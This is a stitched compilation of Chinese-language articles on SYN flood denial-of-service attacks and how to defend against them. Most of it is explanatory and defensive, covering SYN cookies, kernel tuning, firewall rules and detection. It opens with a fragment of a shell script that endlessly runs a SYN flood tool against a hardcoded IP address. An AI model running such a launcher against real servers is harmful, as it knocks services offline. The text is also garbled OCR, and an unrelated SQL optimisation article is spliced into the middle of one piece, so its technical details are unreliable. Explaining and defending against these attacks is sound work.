148 149 150run.sh12345678 9#!/bin/sh #目标服务器ip 地址 ip="172.16.5.69" while [ "1" = "1" ]; do sudo ./syn_act $ip done的解决方案提供支持,甚至大部分linux系统默认设置就能抵挡一定量的攻击,小伙伴们尽可放心的使用你们的linux服务器把 :) 最后,把上面的代码打包下, 方便做实验的小伙伴们,点击这里就可以下载到哦。
什么是SynFlood攻击?如何应对?拒绝服务攻击(DOS攻击)即是攻击者想办法让目标机器停止提供服务,是黑客常用的攻击手段之一。
DOS攻击又被分为多种不同的类型,主要包括:SYN Flood、IP欺骗性攻击、UDP洪水攻击、teardrop攻击等,其中最具代表性的就是Syn Flood攻击。
那么Syn Flood攻击的危害是什么?如何应对?具体请看下文。
什么是Syn Flood攻击?Syn Flood攻击是网络攻击的一种手段,又称为SYN洪水、SYN 洪泛,是一种典型的DOS攻击,效果就是服务器TCP连接资源耗尽,停止响应正常的TCP连接请求。
Syn Flood攻击的危害是什么?如果恶意的向某个服务器端口发送大量的SYN包,则可以使服务器打开大量的半开连接,分配TCB,从而消耗大量的服务器资源,同时也使得正常的连接请求无法被响应。
而攻击发起方的资源消耗相比较可忽略不计。
Syn Flood攻击如何应对?1、对SYN包进行监视对于此类攻击的防范可以使用比较简单的方法,即对SYN包进行监视,如果发现某个IP发起了较多的攻击报文,直接将这个IP列入黑名单即可。
对于源地址不停变化的攻击使用上述方法则不行,首先从某一个被伪装的IP过来的SYN报文可能不会太多,达不到被拒绝的阈值,其次从这个被伪装的IP的请求会被拒绝掉。
因此必须使用其他的方法进行处理。
2、延缓TCB分配方法消耗服务器资源主要是因为当SYN数据报文一到达,系统立即分配TCB,从而占用了资源。
而SYN Flood由于很难建立起正常连接,因此,当正常连接建立起来后再分配TCB则可以有效地减轻服务器资源的消耗。
3、无效连接监视释放这种方法不停监视系统的半开连接和不活动连接,当达到一定阈值时拆除这些连接,从而释放系统资源。
这种方法对于所有的连接一视同仁,而且由于SYN Flood造成的半开连接数量很大,正常连接请求也被淹没在其中被这种方式误释放掉,因此这种方法属于入门级的SYN Flood方法。
linux防御tcp syn flood 攻击的方法TCP SYN 洪水攻击是一种常见的网络攻击手段,它利用TCP三次握手过程中的漏洞,通过发送大量的伪造的TCP SYN包给服务器,导致服务器资源耗尽,无法处理正常的请求。
为了防御这种攻击,我们可以采取以下方法:1. 增加内核参数:Linux系统中,可以通过修改内核参数来增加服务器的容量来承载更多的TCP连接。
可以增加系统的最大连接数限制,如`net.core.somaxconn`、`net.ipv4.tcp_max_syn_backlog`等参数,提高服务器的连接容量。
2. 启用SYN Cookie:SYN Cookie是一种防御SYN洪水攻击的机制,当服务器检测到大量的伪造的SYN包时,会启动SYN Cookie机制。
该机制会将部分连接信息编码到SYN-ACK包的序列号字段中,以减轻服务器负担。
可以通过修改内核参数`net.ipv4.tcp_syncookies`来启用SYN Cookie。
3. 配置防火墙规则:通过配置防火墙规则,可以限制对服务器的访问,阻止大量的伪造SYN包达到服务器。
可以使用iptables工具配置规则,限制源IP地址或者限制连接频率等方式来防御SYN洪水攻击。
4. 使用反向代理:使用反向代理服务器可以将部分流量分发到不同的后端服务器上,将SYN洪水攻击分散到多台服务器上进行处理。
这样可以减轻单台服务器的负载,提高整体的抗攻击能力。
5. 使用专业的防火墙设备:为了更好地防御SYN洪水攻击,可以考虑使用专业的防火墙设备,这些设备通常配备了更多的资源和功能,能够提供更好的攻击防御能力。
综上所述,通过增加系统容量、启用SYN Cookie、配置防火墙规则、使用反向代理或专业的防火墙设备等方式,可以提高服务器的抗SYN洪水攻击的能力,保障服务器的正常运行。
SYN Flood攻击的原理机制/检测与防范措施62福建电脑2005年第9期SYNFlood攻击的原理机制/检测与防范措施钱峰张蕾(铜陵学院安徽铜陵244000)【摘要】SYN-FIood是目前最流行的DDoS攻击手段,是一种蓄意侵入三次握手并打开大量丰开TCP/IP连接而进行的攻击.本文介绍了SYNFlood攻击的原理机制/检测与防范方法.【关键字】SYN,SYNFlood攻击1SYNFlood攻击的原理机制SYNFlood攻击利用可靠的TCP/IP协议并打开大量的半开TCP/IP连接来影响大多数的操作系统.任何连接到lntemet上并提供基于TCP的网络服务的系统都有可能成为被攻击的目标,攻击的结果…于系统的不同1『Ii有所不同,但是攻击的基础是所有的系统都使用了I’CP协议.1.1TCP连接建立的协议撒述TCP与UDP不同.它是基于连接的,为了在服务端和客户端之问传送TCP数据.必须先建立一个虚拟电路,也就是TCP连接.我们假设某个客户端A试图与一服务端B建立连接,在连接建立之前.AB之间需要交换一系列的信息.这一过程我们称之为三次握手,下面我们对三次握手过程进行简要的的描述: .A向B发送一个SYN(synchronization,同步)数据包.B向A返回一个SYN—ACK(acknowledgement,确认)数据包.A向B发送一个ACK数据包当完成上述三次操作后,客户端与服务端的连接就被打开了,具有特定服务的数据就可以在两者之间交换了.1.2SYNFlood攻击的机制SYNFlood攻击利用TCP三次握手协议:?陷来达到攻击的目的.缺陷来自于服务端的内存巾_彳丁一个内建的数据结构,用以描述所有挂起的半开连接,所i胃半开连接,就是当服务端向客户端返回确认信息(SYN—ACK)但是还没有收到最后的ACK消息时.这一数据结构足_仃限的.可以通过创建大量的部分打开连接使其溢出.利用lP欺骗可以很容易的创建半开连接,如果攻击者向受害者的系统发送一些看起来合法的SYN消息.1JJ于发送的数据包巾的源地址是伪造的不在线lP地址.这将导致最后的ACK消息永远也不会到达受害者的服务器.很快服务器系统的半开连接数据结构会被填满.而无法接受新进来的新连接.直到数据表被清空.一般挂起的连接都有时问限制,这段时问的长度我们称为SYNTimeout(大约为30秒一2分钟).时间--N,半开连接就会被丢弃使系统恢复正常.然而,攻击者的系统如果大量模拟这种情况并且以比受害者系统挂起的连接失效更快的速度发送伪造lP的数据包.服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源——数以万计的半连接.即使是简单的保存并遍历也会消耗非常多的CPU时间和内存.何况还耍不断对这个列表巾的lP进行SYN—ACK的重试.如果服务器的FCP/ lP栈不够大,最后的结果往往是堆栈溢出崩溃.即使服务器端的系统足够强大.服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来.服务器失去响应.这种情况我们称作:服务器端受到了SYNFlood攻击.2SYNFlood攻击的检测在SYNFlood攻击巾,攻击者向服务器持续发送SYN数据包流,服务器使处于半打开状态的连接一直保持打开状态.直至被淹没在庞大的数据流中而无法响应合法的请求.攻击特征非常简单.当大量的SYN数据包出现在网络上而没有相应的返回数据包时.用户可能处于SYNFlood攻击之下.我们可以通过netstat—a-1命令检查系统是否有大量的SYN—RECV连接状态来判断.另外攻击者一般为了隐藏身fJ)ifri使用lP欺骗.故对攻击来源无法定位且在服务端也无法区分TCP连接请求是否合法.所以没有其他更好的办法来加以检测.3SYNFlood攻击的防范以现在的lP协议技术来说.没有一个被广泛接受针对该问题的解决方案,但是有几种比较有效的技术对SYNFlood攻击来说.3.1增加半开连接队列的大小大量的SYN请求导致半开连接队列被塞满,使正常的FCP连接无法顺利完成三次握手.通过增大半开连接队列空问可以缓解这种压力.当然增加半开连接队列意味着需要更多的内存资源.不能被无限的扩大.3.2缩短连接建立超时期限lll于SYNFlood攻击的效果取决于服务器上保持的SYN半连接数,这个值=SYN攻击的频度xSYNTimeout.所以通过缩短从接收到SYN报文到确定这个报文无效并丢弃改连接的时问,例如设置为20秒以下(过低的SYNTimeout设置可能会影响客户的正常访问),可以成倍的降低服务器的负荷.3.3SYN—cookie技术SYNcookie的工作原理足,当计算机的队列排满半开连接时,停止在队列巾存储信息.它通过设置发送者lP地址的初始序列号来实现.例如.如果计算机A向计算机B发送一个SYN 数据包,并且半开队列已满,那么计算机B对计算机A作出应答,但是不在队列中存储此半开连接.它通过把计算机B的初始序列号设置为一个时间,lP地址和端口号的集合(hash)来实现. 现在如果SYNflood进行攻击就不会成功.因为没有存储在队列巾的半开连接不会使计算机超载.如果是合法的连接,那么当三次握手的第三步到来时,计算机B检查序列号.减去1,并与hash中的信息比较,如果匹配,则完成连接;如果信息不匹配.则断开连接.3.4特征过滤技术过滤技术就是针对syn攻击软什发出的虚SYN数据包的某种特征(这种特征是相对于合法正常的SYN包所说的)或者发送数据包的某种规律对其进行过滤,这种技术的优点是开销最小. 缺点是可能误杀正常连接为代价而且并不是所有SYNFlood攻击都有特征.3.5用超时重传机制识别SYNFlood防火墙收到任何地址任何端I:1发来的第一次SYN请求.都从中提取端口号,lP地址和接收时问并纪录下来.然后将这个SYN数据包丢弃,特定时问内,防火墙再次收到这个地址发来的端口一致并且未超时的数据包,那么就将其转发给服务器并认为这次连接是真实的.否则则是伪造的.这种防范技术的优点是实现简单,代价和效果较为折中.缺点是很容易(下持第45页)2005年第9期福建电脑45(3)带通配符%的like语句同样以上面的例子来看这种情况.目前的需求是这样的.要求在职工表巾查询名字巾包含eliton的人.可以采用如下的查询SQL语句:selectfromemployeewherelast_namelike%eliton%:这里山于通配符(%)在搜寻词首出现,所以DBMS不使用lastname的索引.在很多情况下可能无法避免这种情况.但是一定要心巾有底.通配符如此使用会降低查询速度.然而当通配符出现在字符串其他位置时.优化器就能利用索引.在下面的查询巾索引得到了使用:selectfromemployeewherelast_namelikec%:(4)orderby语句的使用orderby语句决定了数据库如何将返回的查询结果排序. orderby语句对要排序的列没有什么特别的限制.也可以将函数加入列巾(象联接或者附加等).任何在orderby语句的非索引项或者有计算表达式都将降低查询速度.仔细检查orderby语句以找出非索引项或者表达式.它们会降低性能.解决这个问题的办法就是重写orderby语句以使用索引.也可以为所使用的列建立另外一个索引.同时应避免在orderby子句巾使用表达式.为它在编绎时是无法得到的.所以SQL只能使用其平均密度来估计将要命巾的记录数. (5)NOT的使用我们在查询时经常在where子句使用一些逻辑表达式.如大于,小于,等于以及不等于等等.也可以使用and(与),or(或)以及not(q~).NOT可用来对任何逻辑运算符取反.下面是一个NOT子句的例子:…wherenot(status=V ALID1如果要使用NOI.则应在取反的短语i】i『面加上括号.并在短语前面加上NOrr运算符.NOT运算符包含在另外一个逻辑运算符巾.这就是不等于(<>)运算符.换句话说,即使不在查询where子句巾显式地加入NOT词,NOT仍在运算符巾,见下例: …wherestatus<>INVALID:再看下面这个例子:selectfroalemployeewheresalary<>3000;对这个查询,可以改写为不使用NOrr: selectfromemployeewheresalary<3000orsalary>3000;虽然这两种查询的结果一样.但是第二种查询方案会比第一种查询方案更快些.第二种查询允许对salary列使用索引.而第一种查询则不能使用索引.(6)lN和EXISI’S的使用有时候会将一列和一系列值桐比较.最简单的办法就是在where子句巾使用子查询.在where子句巾可以使用两种格式的子查询.第一种格式是使用IN操作符:…wherecolumnin(selectfrom…where…);第二种格式是使用EXIST操作符:…whereexists(selectXfrom…where…);绝大多数人会使用第一种格式.因为它比较容易编写.而实际上第二种格式耍远比第一种格式的效率高.值得注意的是.在DBMS巾几乎可以将所有的lN操作符子查询改写为使用EX. ISTS的子查询.第二种格式巾.子查询以~leetX开始.运用EXISTS子句不管子查询从表巾抽取什么数据它只查看where子句.这样优化器就不必遍历整个表而仅根据索引就可完成工作(这里假定在where语句中使用的列存在索引).相对于lN子句来说. EXISTS使用相连子查询.构造起来要比IN子查询困难一些.通过使用EXIST.DBMS会首先检查主查询.然后运行子查询直到它找到第一个匹配项.这就节省了时问.DBMS在执行lN 子查询时,首先执行子查询.并将获褥的结果列表存放在一个加了索引的临时表中.在执行子查询之前.系统先将主查询挂起. 待子查询执行完毕.存放在临时表巾以后再执行主查询.这也就是通常使用EXISTS比使用IN查询速度快的原因.I4n.I应尽可能使用NOTEXISTS来代替NOTIN.尽管二者都使用了NOT(不能使用索引而降低速度).然而NOTEXISI’S 要比NOTIN查询效率更高.(7)消除对大型表行数据的顺序存取在嵌套查询巾.对表的顺序存取对查询效率可能产生致命的影响.比如采用顺序存取策略,一个嵌套3层的查询.如果每层都查询1000行.那么这个查询就要查询10亿行数据.避免这种情况的主要方法就是对连接的列进行索引.例如.两个表:学生表(学号,姓名,年龄…..)和选课表(学号,课程号,成绩).如果两个表耍做连接.就要在”学号”这个连接字段上建立索引.还可以使用并集来避包顺序存取.尽管在所有的检查列上都有索引.但某些形式的where子句强迫优化器使用顺序存取. 下面的查询将强迫对ordem表执行顺序操作:SELECt”A-FROMordemWHERE(eustomer_.num=104AND order_num>1001)ORorde~num=1008虽然在cusLomer_num和orde~num上建有索引.但是在上面的语句巾优化器还是使用顺序存取路径扫描整个表.因为这个语句要检索的是分离的行的集合.所以应该改为如下语句: SEUCT★FROMordemWHEREeustomer_num=104ANDordernum>100IUJ0NSEUCT★FR0MordersWHEREorder_num=1008这样就能利用索引路径处理查询.2O%的代码用去了8O%的时间,这是程序设计巾的一条着名定律,在数据库应用程序巾也同样如此.优化要抓住关键问题,只有提供了一个高质盘的查询计划后.经过系统的优化后才会变得高效.从而实现高效的查询.提高系统的可用性.参考文献:Ill施威铭研究室.SQLScrvcr2000中文版管理实务IMI.人民邮电出版社.2001【2】萨师煊,王珊编着.数据库系统概论.高等教育出版社.2001 【3】SQL查询语言及应用.w,vw.ibook8.corn.2004.11(上接第62页)针对这种防范机制设计新的攻击软件.4小结TCPSYNFlood攻击利用了FOP协议的三次握手中的漏洞.对SYNFlood攻击来说.我们没有一个万全之策来对付他.连象Y ahoo,CNN这样的大网站都会受到攻击.但是总的来说我们有4个防范措施:增加连接队列的大小:缩短连接建立超时期限;应用厂家的相关软件补丁,检测及规避潜在SYN攻击;最后,应用网络入侵检测软件IDS产品.IDS能主动发送RST分组响应初始SYN请求.参考文献:I11李磊,赵永祥,陈常嘉.TcPSYNFlooding原理及其应对策略.网络与应用.2003【2】陈波.SYNFlood攻击的原理,实现与防范.计算机应用与研究. 2003。
syn泛洪攻击原理
syn泛洪攻击是一种利用TCP连接的攻击方式。
攻击者发送大量的TCP连接请求(syn包),但不会完成握手过程。
这会导致目标服务器的资源被耗尽,无法响应正常请求,甚至崩溃。
syn泛洪攻击的原理是利用TCP连接的三次握手过程中的漏洞。
攻击者发送大量的syn包,虚假地占用目标服务器的连接队列。
由于服务器在等待第二次握手时会一直保持队列中的连接,因此攻击者可以利用这个漏洞来消耗服务器的资源。
为了防止syn泛洪攻击,服务器可以采用以下措施:
1. 增加TCP连接队列的大小,使服务器能够处理更多的连接请求。
2. 使用防火墙过滤掉虚假的syn包。
3. 使用专门的软件或硬件设备来检测和防御syn泛洪攻击。
4. 实施流量限制策略,限制单一IP地址的连接请求速率。
总之,syn泛洪攻击是一种常见的DDoS攻击方式,目标服务器需要采取有效的措施来保护自己。
- 1 -。
SYN洪泛攻击原理及其防范策略
作者:陶涛
来源:《电脑知识与技术》2012年第30期
摘要:SYN洪泛攻击是出现在这几年的一种具有很强攻击力而又缺乏有效防御手段的Internet攻击手段,是目前网络安全界研究的热点。
TCP SYN 洪流攻击是最常见的DoS攻击手段之一。
文中着重对TCP SYN 洪流攻击及其防范措施进行了深入研究,提出了一种新的综合攻击检测技术,较好地解决了对此类攻击的防范问题。
关键词:SYN洪泛攻击;DOS攻击;TCP协议;三次握手协议;防范策略
中图分类号 TP309 文献标识码:A 文章编号:1009-3044(2012)30-7208-02
SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。
SYN攻击除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,只要这些系统打开TCP服务就可以实施。
1 SYN洪泛攻击原理及其防范策略
1.1 SYN洪泛攻击所存在的基础环境
SYN洪泛攻击首次出现在1996年。
当时主要是应用于攻击网络服务提供商(ISP)的邮件和Telnet服务,并造成了停机。
给服务器操作造成严重的影响。
SYN攻击利用的是TCP的三次握手机制,攻击端利用伪造的IP地址向被攻击端发出请求,而被攻击端发出的响应报文将永远发送不到目的地,那么被攻击端在等待关闭这个连接的过程中消耗了资源,如果有成千上万的这种连接,主机资源将被耗尽,从而达到攻击的目的。
TCP 传输控制块是一种包含一个连接所有信息的传输协议数据结构状态的TCP连接项目,和已建立完整连接但仍未由应用程序通过accept()调用提取的项目)。
一个单一的传输控制块所占内存大小取决于连接中所用的TCP选项和其他一些功能的实现。
通常一个传输控制块至少280字节,在某些操作系统中已经超过了1300字节。
TCP的SYN-RECEIVED状态用于指出这个连接仅仅是半开连接,请求是否合法仍被质疑。
传输控制块分配空间的大小取决于接收的SYN包——在连接被完全建立或者说连接发起人的返回可达性被证实之前。
这就导致了一个明显潜在的DoS攻击,到达的SYN包将被分配过多的传输控制块而导致主机的内核内存被耗尽。
为了避免这种内存耗尽,操作系统通常给监听接口关联了一个"backlog"队列参数,它同时维护连接的传输控制块上限数量和SYN-RECEIVED状态。
尽管这种方案使主机的可用内存免遭攻击,但是backlog队列本身就带来了一个(小的)受攻击源。
当backlog中没有空间时,就不可能再响应新的连接请求,除非传输控制块能被回收或者从SYN-RECIEVE状态中移除。
试图发送足够多的SYN包而耗尽backlog是TCP SYN洪泛的目的。
攻击者在SYN包中加入源IP地址,这样就不会导致主机将已分配的传输控制块从SYN-RECEVIED状态队列中移除(因为主机将响应SYN-ACK)。
因为TCP是可靠的,目的主机在断开半开连接并在SYN-RECIEVED队列中移除传输控制块之前将等待相当长的时间。
在此期间,服务器将不能响应
其他应用程序合法的新TCP连接请求。
1.2 SYN攻击方式及应对方式详解
SYN攻击利用的是TCP的三次握手机制,攻击端利用伪造的IP地址向被攻击端发出请求,而被攻击端发出的响应报文将永远发送不到目的地,那么被攻击端在等待关闭这个连接的过程中消耗了资源,如果有成千上万的这种连接,主机资源将被耗尽,从而达到攻击的目的。
1.2.1 直接攻击
如果攻击者用他们自己的没有经过伪装的IP地址快速地发送SYN数据包,这就是所谓的直接攻击。
这种攻击非常容易实现,因为它并不涉及攻击者操作系统用户层以下的欺骗或修改数据包。
例如,攻击者简单地发送很多的TCP连接请求来实现这种攻击。
然而,这种攻击要想奏效攻击者还必须阻止他的系统响应SYN-ACK包,因为任何ACK、RST或ICMP(Internet Control Message Protocol)包都将让服务器跳过SYN-RECEIVED状态(进入下一个状态)而
移除传输控制块(因为连接已经建立成功或被回收了)。
攻击者可以通过设置防火墙规则来实现,让防火墙阻止一切要到达服务器的数据包(SYN除外),或者让防火墙阻止一切进来的包来使SYN-ACK包在到达本地TCP处理程序之前就被丢弃了。
一旦被检测到,这种攻击非常容易抵御,用一个简单的防火墙规则阻止带有攻击者IP地址的数据包就可以了。
这种方法在如今的防火墙软件中通常都是自动执行的。
1.2.2 欺骗式攻击
SYN洪泛攻击的另一种方式是IP地址欺骗。
它比直接攻击方式更复杂一点,攻击者还必须能够用有效的IP和TCP报文头去替换和重新生成原始IP报文。
如今,有很多代码库能够帮助攻击者替换和重新生成原始IP报文。
对于欺骗式攻击,首先需要考虑的就是选择地址。
要使攻击成功,位于伪装IP地址上的主机必须不能响应任何发送给它们的SYN-ACK包。
攻击者可以用的一个非常简单的方法,就是仅需伪装一个源IP地址,而这个IP地址将不能响应SYN-ACK包,或许因为这个IP地址上根本就没有主机,或许因为对主机的地址或网络属性进行了某些配置。
另一种选择是伪装许多源地址,攻击者会假想其中的一些伪装地址上的主机将不会响应SYN-ACK包。
要实现这种方法就需要循环使用服务器希望连接的源IP地址列表上的地址,或者对一个子网内主机做相同的修改。
如果一个源地址被重复地伪装,这个地址将很快被检测出来并被过滤掉。
在大多数情况下运用许多不同源地址伪装将使防御变得更加困难。
在这种情况下最好的防御方法就是尽可能地阻塞源地址相近的欺骗数据包。
假设攻击者是在一个“互联”的网络中(例如一个自治系统(Autonomous System)),由其ISP限制攻击者所在网络流量的输入输出过滤将能够制止这种欺骗攻击——如果这种方法能被机构部署到正确位置的话。
这种流量输入输出过滤的防御方式将限制一些合法的通信,比如移动IP三角路由运作模式,因此不可能被普遍部署。
IP安全协议(IPsec)同样也提供了一种抵御欺骗包的优秀方式,但是这协议因为部署限制还不能被使用。
由于对于服务器方通常不可能要求链接发起人的ISP去实施地址过滤或者要求其使用IP安全协议,因此抵御这种用多地址伪装的欺骗攻击还需要更加复杂的解决方案,将在后文讨论到。
1.2.3 分布式攻击
对于单个运用欺骗式攻击的攻击者真正的限制因素是如果这些伪装数据包能够以某种方式被回溯到其真正的地址,攻击者将被简单地击败。
尽管回溯过程需要一些时间和ISP之间的配合,但它并不是不可能的。
但是攻击者运用在网络中主机数量上的优势而发动的分布式SYN 洪泛攻击将更加难以被阻止。
如图3所示,这些主机群可以用直接攻击,也可以更进一步让每台主机都运用欺骗攻击。
如今,分布式攻击才是真正可怕的,因为攻击者可以拥有数以千计的主机供他来进行拒绝服务(DoS)攻击。
由于这些大量的主机能够不断地增加或减少,而且能够改变他们的IP地址和其连接,因此要阻止这类攻击目前还是一个挑战。
1.2.4 攻击的一些参数
SYN洪泛攻击能够比一般的仅仅是向目标网络发送大量数据包的蛮力DoS攻击用更少的数据包进行攻击。
但是这需要对服务器的操作系统有一定了解,比如它分配了多少的backlog 队列空间,在超时并丢弃传输控制块前它会将传输控制块在SYN-RECIEVED状态里保持多久。
例如,攻击者可以发送刚好是backlog队列大小的一定数量的SYN包,并且其周期刚好是传输控制块被回收的时间,这样就可以让服务器永远不可用。
最近的一些系统基本都是默认backlog大小为1024字节,但是网络上的很多服务器都将其配置为128字节或更少。
通常重传SYN-ACK的时间阈值时5秒,是通常成功接收时间的两倍,默认超时时间是3秒,在第一个SYN-ACK发出到其传输控制块被回收的时间是189秒。
2 总结
现在看来,一些SYN缓存技术的变体应该作为固化功能将其植入到服务器操作系统中去,而且这些变体可以适当的情况下结合其他解决方案(基于地址的过滤,ACK伪装防火
墙,IP安全协议等等)一起部署。
目前服务器的发展也正在致力于研究防御性更强的TCP协议,也希望这些补充协议能够早日部署。
参考文献:
[1] 李凯.基于统计特性的SYN Flood攻击防御方法研究[D].西南交通大学,2009.
[2] 罗新密.DDoS攻击防范策略研究[J].湖南商学院学报,2003(3).
[3] 李占新.分布式拒绝服务攻击原理和防治策略[J].电脑编程技巧与维护,2011(16).
[4] 濮青.DoS(拒绝服务)攻击技术及其防范[J].中国数据通信, 2002(8).。